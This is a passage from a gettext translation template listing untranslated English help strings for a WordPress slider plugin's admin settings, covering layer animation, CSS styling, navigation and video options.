"on mouse hover" msgstr "" #: admin/includes/help.class.php:8669 msgid "" "The grayscale filter value for the lines " "animation" msgstr "" #: admin/includes/help.class.php:8073 msgid "" "The grayscale filter value for the " "selected Animation frame" msgstr "" #: admin/includes/help.class.php:8595 msgid "" "The grayscale filter value for the words " "animation" msgstr "" #: admin/includes/help.class.php:6537 msgid "" "The CSS float property for the Layer as it fits inside the " "Column" msgstr "" #: admin/includes/help.class.php:9921 msgid "" "The CSS perspective for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:7777 msgid "" "The CSS perspective to apply to the selected animation frame" msgstr "" #: admin/includes/help.class.php:9002 msgid "" "The CSS translateZ at the start of the " "loop animation. This adds/removes 3D depth to the Layer" msgstr "" #: admin/includes/help.class.php:7764 admin/includes/help.class.php:8290 msgid "" "The CSS translateZ to apply to the " "selected animation frame. This adds/removes 3D depth to the Layer" msgstr "" #: admin/includes/help.class.php:6753 msgid "" "The dash-array " "for the currently selected SVG. Displays the SVG stroke/border as dashes." msgstr "" #: admin/includes/help.class.php:6766 msgid "" "The stroke-dash-" "offset for the currently selected SVG" msgstr "" #: admin/includes/help.class.php:5013 msgid "" "The Vimeo Video ID for the background video" msgstr "" #: admin/includes/help.class.php:6064 msgid "" "The YouTube ID or Vimeo ID for the " "video's source" msgstr "" #: admin/includes/help.class.php:5000 msgid "" "The YouTube Video ID for the background video" msgstr "" #: admin/includes/help.class.php:4856 msgid "" "The CSS background-size for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:4882 admin/includes/help.class.php:5598 msgid "" "The CSS background-position for the Slide's main background " "image" msgstr "" #: admin/includes/help.class.php:4869 msgid "" "The CSS background-fit for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:9950 msgid "" "The CSS border-style for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6969 msgid "" "The CSS border-style to use for the Layer's border" msgstr "" #: admin/includes/help.class.php:5536 msgid "" "The target attribute for the Slide link" msgstr "" #: admin/includes/help.class.php:4695 msgid "" "The amount of pixels that need to be swiped before a Slide change occurs" msgstr "" #: admin/includes/help.class.php:2043 msgid "" "The amount of slots to be used for the alternate first Slide transition. " "Applicable to slot-based transitions." msgstr "" #: admin/includes/help.class.php:3246 msgid "" "The amount of the time before the Arrows are hidden on Desktop computers (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:3263 msgid "" "The amount of the time before the Arrows are hidden on mobile devices (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:3561 msgid "" "The amount of the time before the Bullets are hidden on Desktop computers " "(in milliseconds)" msgstr "" #: admin/includes/help.class.php:3578 msgid "" "The amount of the time before the Bullets are hidden on mobile devices (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:4042 msgid "" "The amount of the time before the Tabs are hidden on Desktop computers (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:4059 msgid "" "The amount of the time before the Tabs are hidden on mobile devices (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:4523 msgid "" "The amount of the time before the Thumbnails are hidden on Desktop computers " "(in milliseconds)" msgstr "" #: admin/includes/help.class.php:4540 msgid "" "The amount of the time before the Thumbnails are hidden on mobile devices " "(in milliseconds)" msgstr "" #: admin/includes/help.class.php:8834 msgid "" "The amount of time each loop animation should occur before it begins again" msgstr "" #: admin/includes/help.class.php:3197 msgid "The animation speed for when the Arrows animate into and out of view" msgstr "" #: admin/includes/help.class.php:3512 msgid "The animation speed for when the Bullets animate into and out of view" msgstr "" #: admin/includes/help.class.php:3993 msgid "The animation speed for when the Tabs animate into and out of view" msgstr "" #: admin/includes/help.class.php:4474 msgid "The animation speed for when the Thumbs animate into and out of view" msgstr "" #: admin/includes/help.class.php:3115 msgid "" "The Arrow's alignment position in the Slider before any offset(s) are applied" msgstr "" #: admin/includes/help.class.php:6154 msgid "The autoplay behavior for the currently selected Video Layer" msgstr "" #: admin/includes/help.class.php:3911 msgid "The background color for the tabs main wrapper" msgstr "" #: admin/includes/help.class.php:4392 msgid "The background color for the thumbs main wrapper" msgstr "" #: admin/includes/help.class.php:2971 msgid "The background color to be applied when the Module loads as a Modal" msgstr "" #: admin/includes/help.class.php:2694 msgid "The blur filter strength for the Blur scroll effect (px)" msgstr "" #: admin/includes/help.class.php:7358 msgid "" "The blur-radius value for the Layer's box-shadow" msgstr "" #: admin/includes/help.class.php:7438 msgid "" "The blur-radius value for the Layer's text-shadow" msgstr "" #: admin/includes/help.class.php:9937 msgid "The border color for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:7008 msgid "The border's bottom size (border-bottom-width)" msgstr "" #: admin/includes/help.class.php:9990 msgid "" "The border's bottom size (border-bottom-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:7021 msgid "The border's left size (border-left-width)" msgstr "" #: admin/includes/help.class.php:10003 msgid "The border's left size (border-left-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6995 msgid "The border's right size (border-right-width)" msgstr "" #: admin/includes/help.class.php:9977 msgid "" "The border's right size (border-right-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6982 msgid "The border's top size (border-top-width)" msgstr "" #: admin/includes/help.class.php:9964 msgid "The border's top size (border-top-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6727 msgid "The border/stroke color of the currently selected SVG Layer" msgstr "" #: admin/includes/help.class.php:6740 msgid "The border/stroke width/size of the currently selected SVG Layer" msgstr "" #: admin/includes/help.class.php:6874 msgid "" "The bottom margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6928 msgid "The bottom padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:7062 msgid "The bottom-left corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10044 msgid "" "The bottom-left corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:7075 msgid "The bottom-right corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10057 msgid "" "The bottom-right corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:3430 msgid "" "The Bullet's alignment position in the Slider before any offset(s) are " "applied" msgstr "" #: admin/includes/help.class.php:8413 msgid "" "The char/word/line 2D Rotation " "for the selected animation frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:8238 msgid "" "The char/word/line opacity to apply to the currently selected animation frame" msgstr "" #: admin/includes/help.class.php:6714 msgid "The color of the currently selected SVG Layer" msgstr "" #: admin/includes/help.class.php:2372 msgid "" "The color of the spinner/preloader that shows before the Module first loads" msgstr "" #: admin/includes/help.class.php:6699 msgid "" "The CSS user-select value for the text" msgstr "" #: admin/includes/help.class.php:7466 msgid "" "The CSS background-blend-mode filter for the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:6686 msgid "" "The CSS text-transform value for the text" msgstr "" #: admin/includes/help.class.php:6807 msgid "The CSS background-position for the Layer's background image" msgstr "" #: admin/includes/help.class.php:583 msgid "The CSS background-position for the Slider's global background image" msgstr "" #: admin/includes/help.class.php:6833 msgid "The css background-repeat value for the Layer's background image" msgstr "" #: admin/includes/help.class.php:609 msgid "" "The css background-repeat value for the Slider's global background image" msgstr "" #: admin/includes/help.class.php:6820 msgid "The css background-size value for the Layer's background image" msgstr "" #: admin/includes/help.class.php:596 msgid "The css background-size value for the Slider's global background image" msgstr "" #: admin/includes/help.class.php:3927 msgid "The CSS padding that will be applied to the tabs outer wrapper div" msgstr "" #: admin/includes/help.class.php:4408 msgid "The CSS padding that will be applied to the thumbs outer wrapper div" msgstr "" #: admin/includes/help.class.php:6502 msgid "" "The CSS text-align for the Layer's text. Also useful for aligning content " "inside rows/colums" msgstr "" #: admin/includes/help.class.php:9762 msgid "The CSS z-index to apply to the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:360 msgid "" "The default align behavior for Layers. If enabled, Layers will be aligned " "to the entire Module and if disabled Layers will align to the device " "breakpoint grid area." msgstr "" #: admin/includes/help.class.php:1583 msgid "" "The default CSS background-position for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:1599 msgid "" "The default css background-repeat value for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:1591 msgid "" "The default css background-size value for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:1534 msgid "The default duration to apply for each Slide before they change" msgstr "" #: admin/includes/help.class.php:1663 msgid "The default easing duration in milliseconds" msgstr "" #: admin/includes/help.class.php:1652 msgid "" "The default easing equation. View visualization" msgstr "" #: admin/includes/help.class.php:1710 msgid "The default end x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1778 msgid "The default ending image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:1756 msgid "The default ending rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:1732 msgid "The default ending y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1686 msgid "The default ending zoom percentage" msgstr "" #: admin/includes/help.class.php:3893 msgid "The default height for each individual tab" msgstr "" #: admin/includes/help.class.php:4374 msgid "The default height for each individual thumb" msgstr "" #: admin/includes/help.class.php:1767 msgid "The default starting image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:1745 msgid "The default starting rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:1699 msgid "The default starting x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1721 msgid "The default starting y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1675 msgid "The default starting zoom percentage" msgstr "" #: admin/includes/help.class.php:1566 msgid "The default transition duration to be applied to newly created Slides" msgstr "" #: admin/includes/help.class.php:1558 msgid "The default transition to be applied to newly created Slides" msgstr "" #: admin/includes/help.class.php:455 msgid "The default viewport. This option will always be enabled" msgstr "" #: admin/includes/help.class.php:3861 msgid "The default width for each individual tab" msgstr "" #: admin/includes/help.class.php:4342 msgid "The default width for each individual thumb" msgstr "" #: admin/includes/help.class.php:1575 msgid "" "The default WordPress Image size to be used for the Slide's main background " "images" msgstr "" #: admin/includes/help.class.php:6020 msgid "The default WordPress Image size to be used when the image is loaded" msgstr "" #: admin/includes/help.class.php:2282 msgid "The degree value for the 3D rotation applied to the non-active items" msgstr "" #: admin/includes/help.class.php:8204 msgid "" "The delay time between each animation for the individual " "characters/words/lines" msgstr "" #: admin/includes/help.class.php:2030 msgid "The duration to be used for the alternate first Slide transition" msgstr "" #: admin/includes/help.class.php:10335 msgid "The easing duration for the Scroll Action in milliseconds" msgstr "" #: admin/includes/help.class.php:5796 msgid "The easing duration in milliseconds" msgstr "" #: admin/includes/help.class.php:5288 msgid "The easing equation for the 'IN' animation" msgstr "" #: admin/includes/help.class.php:5300 msgid "The easing equation for the 'OUT' animation" msgstr "" #: admin/includes/help.class.php:10318 msgid "" "The easing equation for the Scroll Action. View visualization" msgstr "" #: admin/includes/help.class.php:2210 msgid "" "The easing equation for when the carousel changes from one Slide to the next" msgstr "" #: admin/includes/help.class.php:8221 msgid "The easing equation to be applied for each animation" msgstr "" #: admin/includes/help.class.php:2604 msgid "" "The easing equation to be applied to the animated content as the page scrolls" msgstr "" #: admin/includes/help.class.php:8850 msgid "The easing equation to be used for the loop animation" msgstr "" #: admin/includes/help.class.php:9749 msgid "The easing equation to use for the hover transition" msgstr "" #: admin/includes/help.class.php:7695 msgid "The easing equation to use for the selected animation" msgstr "" #: admin/includes/help.class.php:5780 msgid "" "The easing equation. View visualization" msgstr "" #: admin/includes/help.class.php:5665 msgid "The end x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:9564 msgid "" "The ending blur filter value for the loop animation" msgstr "" #: admin/includes/help.class.php:9632 msgid "" "The ending brightness filter value for the loop " "animation" msgstr "" #: admin/includes/help.class.php:9598 msgid "" "The ending grayscale filter value for the loop " "animation" msgstr "" #: admin/includes/help.class.php:5763 msgid "The ending image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:9409 msgid "" "The ending rotateX value (horizontal plane) for the loop animation. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:9443 msgid "" "The ending rotateY value (horizontal plane) for the loop animation. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:5731 msgid "The ending rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:9477 msgid "" "The ending rotation value (2D) for the loop animation. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:9254 msgid "The ending scaleX value (width) for the loop animation" msgstr "" #: admin/includes/help.class.php:9288 msgid "The ending scaleY value (height) for the loop animation" msgstr "" #: admin/includes/help.class.php:9322 msgid "The ending skewX value (horizontal plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9356 msgid "The ending skewY value (vertical plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9530 msgid "The ending transparency for the loop animation" msgstr "" #: admin/includes/help.class.php:7616 msgid "The ending values for the Layer's very first animation" msgstr "" #: admin/includes/help.class.php:5697 msgid "The ending y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:5631 msgid "The ending zoom percentage" msgstr "" #: admin/includes/help.class.php:6634 msgid "The Google Font for the currently selected Layer's text" msgstr "" #: admin/includes/help.class.php:4641 msgid "The height of the navigation preview image" msgstr "" #: admin/includes/help.class.php:3050 msgid "The height of the progress bar in pixels" msgstr "" #: admin/includes/help.class.php:7332 msgid "" "The horizontal offset for the box-shadow" msgstr "" #: admin/includes/help.class.php:7412 msgid "" "The horizontal offset for the text-shadow" msgstr "" #: admin/includes/help.class.php:5940 msgid "" "The html/text for the selected Layer's content. 'Idle' is the default text. " " And 'Toggle' is alternative text to show when the Layer is clicked." msgstr "" #: admin/includes/help.class.php:6111 msgid "" "The HTML5 Video/Audio preload behavior for the " "currently selected Video Layer" msgstr "" #: admin/includes/help.class.php:6387 msgid "The initial volume for the video/audio. Choose a number between 0-100" msgstr "" #: admin/includes/help.class.php:7603 msgid "" "The Layer animation's starting point values before it first animates into " "view" msgstr "" #: admin/includes/help.class.php:7870 msgid "" "The Layer's 2D Rotation " "for the selected animation frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9867 msgid "" "The Layer's 2D Rotation " "on mouse hover. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:6595 msgid "" "The Layer's CSS line-height value for the currently selected " "viewport" msgstr "" #: admin/includes/help.class.php:7235 msgid "" "The Layer's CSS max-height for the current device viewport" msgstr "" #: admin/includes/help.class.php:7209 msgid "" "The Layer's CSS max-width for the current device viewport" msgstr "" #: admin/includes/help.class.php:7222 msgid "" "The Layer's CSS min-height for the current device viewport" msgstr "" #: admin/includes/help.class.php:7196 msgid "" "The Layer's CSS min-width for the current device viewport" msgstr "" #: admin/includes/help.class.php:6608 msgid "" "The Layer's CSS font-weight value for the currently selected viewport" msgstr "" #: admin/includes/help.class.php:6621 msgid "" "The Layer's CSS letter-spacing value for the currently selected " "viewport" msgstr "" #: admin/includes/help.class.php:8154 msgid "The Layer's background color for the selected Animation frame" msgstr "" #: admin/includes/help.class.php:7642 msgid "" "The Layer's final animation when it's meant to be hidden or when the Slide " "changes" msgstr "" #: admin/includes/help.class.php:6582 msgid "The Layer's font-size for the currently selected viewport" msgstr "" #: admin/includes/help.class.php:7156 msgid "The Layer's height for the current device viewport" msgstr "" #: admin/includes/help.class.php:6036 msgid "" "The Layer's image will be populated automatically from the Slider's Video-" "Stream source" msgstr "" #: admin/includes/help.class.php:7724 msgid "The Layer's opacity to apply to the currently selected animation frame" msgstr "" #: admin/includes/help.class.php:8123 msgid "The Layer's text color for the selected Animation frame" msgstr "" #: admin/includes/help.class.php:7143 msgid "The Layer's width for the current device viewport" msgstr "" #: admin/includes/help.class.php:6887 msgid "" "The left margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6941 msgid "The left padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:5826 msgid "The maximum characters/letters to display for the paramater" msgstr "" #: admin/includes/help.class.php:2104 msgid "" "The maximum number of Slides that will be visible at any given time. View " "the documentation below to learn how to set a minimum." msgstr "" #: admin/includes/help.class.php:3827 msgid "" "The maximum number of tabs that should be visible regardless of the screen " "size" msgstr "" #: admin/includes/help.class.php:4308 msgid "" "The maximum number of thumbs that should be visible regardless of the screen " "size" msgstr "" #: admin/includes/help.class.php:3877 msgid "The minimum width for each individual tab" msgstr "" #: admin/includes/help.class.php:4358 msgid "The minimum width for each individual thumb" msgstr "" #: admin/includes/help.class.php:376 msgid "" "The module will be positioned at the top of the screen at all times. Useful " "for creating sticky menus." msgstr "" #: admin/includes/help.class.php:2468 msgid "The movement speed for the Slide's Layers when the effect(s) occur" msgstr "" #: admin/includes/help.class.php:2455 msgid "" "The movement speed for the Slide's main background when the effect(s) occur" msgstr "" #: admin/includes/help.class.php:4895 msgid "" "The movement strength that will be applied to the Slide's main background " "image" msgstr "" #: admin/includes/help.class.php:4708 msgid "" "The number of fingers needed in the swipe action for a Slide change to occur" msgstr "" #: admin/includes/help.class.php:5312 msgid "The number of slots/boxes to use for slot-based transitions" msgstr "" #: admin/includes/help.class.php:8770 msgid "" "The number of times the Layer's selected timeline should loop. Enter '-1' " "to loop continously throughout the life-cycle of the current Slide" msgstr "" #: admin/includes/help.class.php:10301 msgid "" "The page will scroll to content below the Slider, and this offset will add " "or subtract pixels to the total amount scrolled." msgstr "" #: admin/includes/help.class.php:10115 msgid "" "The parallax depth level to use for the Layer. Level values are defined in " "the Slider Settings." msgstr "" #: admin/includes/help.class.php:8023 msgid "" "The percentage of the Layer to apply the clip-path mask to. The number '0' " "would represent completely hidden and '100' represent completely visible." msgstr "" #: admin/includes/help.class.php:7524 msgid "" "The percentage of your content's width to use when the spike(s) are drawn on " "the left side" msgstr "" #: admin/includes/help.class.php:7556 msgid "" "The percentage of your content's width to use when the spike(s) are drawn on " "the right side" msgstr "" #: admin/includes/help.class.php:2804 msgid "" "The percentage the Slider is in the page's viewport before the effect(s) are " "applied" msgstr "" #: admin/includes/help.class.php:5874 admin/includes/help.class.php:5887 msgid "The point in the timeline where the looping should begin" msgstr "" #: admin/includes/help.class.php:471 msgid "The responsive grid height (in pixels) for the Desktop viewport" msgstr "" #: admin/includes/help.class.php:497 msgid "The responsive grid height (in pixels) for the Laptop viewport" msgstr "" #: admin/includes/help.class.php:523 admin/includes/help.class.php:549 msgid "The responsive grid height (in pixels) for the Tablet viewport" msgstr "" #: admin/includes/help.class.php:463 msgid "The responsive grid width (in pixels) for the Desktop viewport" msgstr "" #: admin/includes/help.class.php:489 msgid "The responsive grid width (in pixels) for the Laptop viewport" msgstr "" #: admin/includes/help.class.php:515 admin/includes/help.class.php:541 msgid "The responsive grid width (in pixels) for the Tablet viewport" msgstr "" #: admin/includes/help.class.php:7384 msgid "" "The rgba color for the Layer's box-shadow" msgstr "" #: admin/includes/help.class.php:7451 msgid "" "The rgba color for the Layer's text-shadow" msgstr "" #: admin/includes/help.class.php:6861 msgid "" "The right margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6915 msgid "The right padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:7708 msgid "" "The selected animation will only start when it's called from a " "Layer Action" msgstr "" #: admin/includes/help.class.php:2442 msgid "The sensitivity speed for the Parallax effect(s) on mouse-move" msgstr "" #: admin/includes/help.class.php:4843 msgid "" "The size of the image that will be loaded, defined by WP Main Menu -> " "Settings -> Media -> Image Sizes" msgstr "" #: admin/includes/help.class.php:5276 msgid "The Slide animation's total time for the selected transition" msgstr "" #: admin/includes/help.class.php:2596 msgid "" "The Slide's content will animate into and out of view as the user scrolls " "the page." msgstr "" #: admin/includes/help.class.php:5052 msgid "" "The Slide's main background will be populated automatically for Video-Stream " "Sliders" msgstr "" #: admin/includes/help.class.php:4830 admin/includes/help.class.php:5039 msgid "" "The Slide's main background will be populated automatically for Video/Social-" "Stream Sliders" msgstr "" #: admin/includes/help.class.php:5352 msgid "The Slide's total duration before the next Slide is shown" msgstr "" #: admin/includes/help.class.php:247 msgid "The slider's alias is used to define a unique shortcode" msgstr "" #: admin/includes/help.class.php:3845 msgid "The space between each individual tab (in pixels)" msgstr "" #: admin/includes/help.class.php:4326 msgid "The space between each individual thumb (in pixels)" msgstr "" #: admin/includes/help.class.php:3382 msgid "The spacing between the bullets (in pixels)" msgstr "" #: admin/includes/help.class.php:2617 msgid "" "The speed at which the content will animate as the page scrolls (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:2223 msgid "" "The speed the items will change form one Slide to the next (in milliseconds)" msgstr "" #: admin/includes/help.class.php:7371 msgid "" "The spread value for the Layer's box-shadow" msgstr "" #: admin/includes/help.class.php:9547 msgid "" "The starting blur filter value " "for the loop animation" msgstr "" #: admin/includes/help.class.php:9615 msgid "" "The starting brightness " "filter value for the loop animation" msgstr "" #: admin/includes/help.class.php:9581 msgid "" "The starting grayscale " "filter value for the loop animation" msgstr "" #: admin/includes/help.class.php:5747 msgid "The starting image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:9392 msgid "" "The starting rotateX value (horizontal plane) for the loop animation. " "Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9426 msgid "" "The starting rotateY value (horizontal plane) for the loop animation. " "Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:5715 msgid "The starting rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:9460 msgid "" "The starting rotation value (2D) for the loop animation. Accepts positive " "and negative values." msgstr "" #: admin/includes/help.class.php:9237 msgid "The starting scaleX value (width) for the loop animation" msgstr "" #: admin/includes/help.class.php:9271 msgid "The starting scaleY value (height) for the loop animation" msgstr "" #: admin/includes/help.class.php:9305 msgid "The starting skewX value (horizontal plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9339 msgid "The starting skewY value (vertical plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9513 msgid "The starting transparency for the loop animation" msgstr "" #: admin/includes/help.class.php:5649 msgid "The starting x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:5681 msgid "The starting y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:5615 msgid "The starting zoom percentage" msgstr "" #: admin/includes/help.class.php:2830 msgid "" "The strength of the opacity, blur or grayscale filter for the effect(s) for " "the Slide's Layers" msgstr "" #: admin/includes/help.class.php:2817 msgid "" "The strength of the opacity, blur or grayscale filter for the effect(s) for " "the Slide's main background" msgstr "" #: admin/includes/help.class.php:4721 msgid "The swipe direction that will trigger a Slide change" msgstr "" #: admin/includes/help.class.php:3779 msgid "" "The Tab's alignment position in the Slider before any offset(s) are applied" msgstr "" #: admin/includes/help.class.php:6647 msgid "The text color for the currently selected Layer" msgstr "" #: admin/includes/help.class.php:4260 msgid "" "The Thumb's alignment position in the Slider before any offset(s) are applied" msgstr "" #: admin/includes/help.class.php:5238 msgid "" "The thumbnail image that will be used for the Slider's thumbnail navigation" msgstr "" #: admin/includes/help.class.php:6848 msgid "" "The top margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6902 msgid "The top padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:7036 msgid "The top-left corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10018 msgid "" "The top-left corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:7049 msgid "The top-right corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10031 msgid "" "The top-right corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:7682 msgid "The total duration for the selected animation" msgstr "" #: admin/includes/help.class.php:9736 msgid "" "The transition duration for the currently selected Layer (in milliseconds)" msgstr "" #: admin/includes/help.class.php:2873 msgid "The url for the fallback image if a fallback is used for IE8/Mobile" msgstr "" #: admin/includes/help.class.php:6096 msgid "The url for the locally loaded HTML5 Audio" msgstr "" #: admin/includes/help.class.php:6080 msgid "The url for the locally loaded HTML5 Video" msgstr "" #: admin/includes/help.class.php:5520 msgid "The url to go to when the Slide is clicked" msgstr "" #: admin/includes/help.class.php:10214 msgid "The url to navigate to for the 'Simple Link' Action" msgstr "" #: admin/includes/help.class.php:6515 msgid "The vertical alignment for content inside a row/column" msgstr "" #: admin/includes/help.class.php:7345 msgid "" "The vertical offset for the box-shadow" msgstr "" #: admin/includes/help.class.php:7425 msgid "" "The vertical offset for the text-shadow" msgstr "" #: admin/includes/help.class.php:6487 msgid "" "The vertical-align value for the row in relation to the Module's height (top," " middle or bottom)" msgstr "" #: admin/includes/help.class.php:5026 msgid "The video url to be used as the Slide's main background" msgstr "" #: admin/includes/help.class.php:6195 msgid "" "The video's poster image will be populated automatically from the Slider's " "Video-Stream source" msgstr "" #: admin/includes/help.class.php:4628 msgid "The width of the navigation preview image" msgstr "" #: admin/includes/help.class.php:5066 admin/includes/help.class.php:6141 msgid "This value should match the video's original aspect ratio" msgstr "" #: admin/includes/help.class.php:4192 msgid "Thumbnails Type/Style" msgstr "" #: admin/includes/help.class.php:4455 msgid "Thumbs Animation" msgstr "" #: admin/includes/help.class.php:4471 msgid "Thumbs Animation Speed" msgstr "" #: admin/includes/help.class.php:4487 msgid "Thumbs Show Delay" msgstr "" #: admin/includes/help.class.php:10138 msgid "Timeline Scroll Based" msgstr "" #: admin/includes/help.class.php:2593 msgid "Timeline Scroll Effects" msgstr "" #: admin/includes/help.class.php:4937 msgid "Title Attribute" msgstr "" #: admin/includes/help.class.php:10476 msgid "Toggle (add/remove) a Layer's class name on user-interaction" msgstr "" #: admin/includes/help.class.php:10565 msgid "Toggle a video or audio's play state on user-interaction" msgstr "" #: admin/includes/help.class.php:10442 msgid "Toggle any given Layer's animation in and out of view" msgstr "" #: admin/includes/help.class.php:10473 msgid "Toggle Class" msgstr "" #: admin/includes/help.class.php:10632 msgid "Toggle Fullscreen" msgstr "" #: admin/includes/help.class.php:10439 msgid "Toggle Layer Animation" msgstr "" #: admin/includes/help.class.php:10562 msgid "Toggle Media Play/Pause" msgstr "" #: admin/includes/help.class.php:10596 msgid "Toggle Mute (All) Media" msgstr "" #: admin/includes/help.class.php:10403 msgid "Toggle Slider" msgstr "" #: admin/includes/help.class.php:10599 msgid "" "Toggle sound from a single video or audio Layer, or toggle all video/audio " "sound that exists in the Slide" msgstr "" #: admin/includes/help.class.php:10635 msgid "Toggle the Slider fullscreen and non-fullscreen on user-interaction" msgstr "" #: admin/includes/help.class.php:966 admin/includes/help.class.php:1085 #: admin/includes/help.class.php:1139 admin/includes/help.class.php:1271 #: admin/includes/help.class.php:1368 admin/includes/help.class.php:1452 msgid "Total Slides" msgstr "" #: admin/includes/help.class.php:7882 admin/includes/help.class.php:8429 #: admin/includes/help.class.php:8864 admin/includes/help.class.php:9879 msgid "Transform Origin X" msgstr "" #: admin/includes/help.class.php:7895 admin/includes/help.class.php:8446 #: admin/includes/help.class.php:8880 admin/includes/help.class.php:9892 msgid "Transform Origin Y" msgstr "" #: admin/includes/help.class.php:7908 admin/includes/help.class.php:8463 #: admin/includes/help.class.php:8896 admin/includes/help.class.php:9905 msgid "Transform Origin Z" msgstr "" #: admin/includes/help.class.php:7774 admin/includes/help.class.php:9918 msgid "Transform Perspective" msgstr "" #: admin/includes/help.class.php:1555 msgid "Transition" msgstr "" #: admin/includes/help.class.php:1563 admin/includes/help.class.php:5273 msgid "Transition Duration" msgstr "" #: admin/includes/help.class.php:9746 msgid "Transition Easing" msgstr "" #: admin/includes/help.class.php:9733 msgid "Transition Speed" msgstr "" #: admin/includes/help.class.php:7735 admin/includes/help.class.php:8253 msgid "TranslateX" msgstr "" #: admin/includes/help.class.php:7748 admin/includes/help.class.php:8270 msgid "TranslateY" msgstr "" #: admin/includes/help.class.php:7761 admin/includes/help.class.php:8287 msgid "TranslateZ" msgstr "" #: admin/includes/help.class.php:10459 msgid "Trigger a jQuery click event on any given Layer" msgstr "" #: admin/includes/help.class.php:10525 msgid "Trigger Memory" msgstr "" #: admin/includes/help.class.php:2423 msgid "Triggered By" msgstr "" #: admin/includes/help.class.php:13 msgid "Tutorial" msgstr "" #: admin/includes/help.class.php:17 msgid "Tutorials" msgstr "" #: admin/includes/help.class.php:703 msgid "Twitter" msgstr "" #: admin/includes/help.class.php:10248 msgid "" "Use a traditional HTML hyperlink tag or trigger the Action via a jQuery event" msgstr "" #: admin/includes/help.class.php:2009 msgid "" "Use an alternate transition when for the first slide when the Slider firsts " "loads" msgstr "" #: admin/includes/help.class.php:2960 admin/includes/help.class.php:2968 msgid "Use Cover as Modal" msgstr "" #: admin/includes/help.class.php:3678 admin/includes/help.class.php:4159 msgid "Use Custom Style" msgstr "" #: admin/includes/help.class.php:559 msgid "Use Image" msgstr "" #: admin/includes/help.class.php:3181 admin/includes/help.class.php:3480 #: admin/includes/help.class.php:3961 admin/includes/help.class.php:4442 msgid "Use RTL language alignment for the Arrow positioning" msgstr "" #: admin/includes/help.class.php:412 msgid "" "Useful for allocating space for a page's menu or footer. Accepts a jQuery " "selector such as '.menu' or 'footer'." msgstr "" #: admin/includes/help.class.php:425 msgid "" "Useful for allocating space for a page's menu or footer. Enter a px or % " "value." msgstr "" #: admin/includes/help.class.php:2902 msgid "" "Useful for solving a conflict when the current theme runs filters over the " "page's main content" msgstr "" #: admin/includes/help.class.php:1165 msgid "User Handle" msgstr "" #: admin/includes/help.class.php:1124 msgid "User Name" msgstr "" #: admin/includes/help.class.php:1019 msgid "User URL" msgstr "" #: admin/includes/help.class.php:1491 msgid "User/Album/Group/Channel" msgstr "" #: admin/includes/help.class.php:2341 msgid "Varing Scale" msgstr "" #: admin/includes/help.class.php:2249 msgid "Varying Fade" msgstr "" #: admin/includes/help.class.php:2295 msgid "Varying Rotation" msgstr "" #: admin/includes/help.class.php:2192 admin/includes/help.class.php:6512 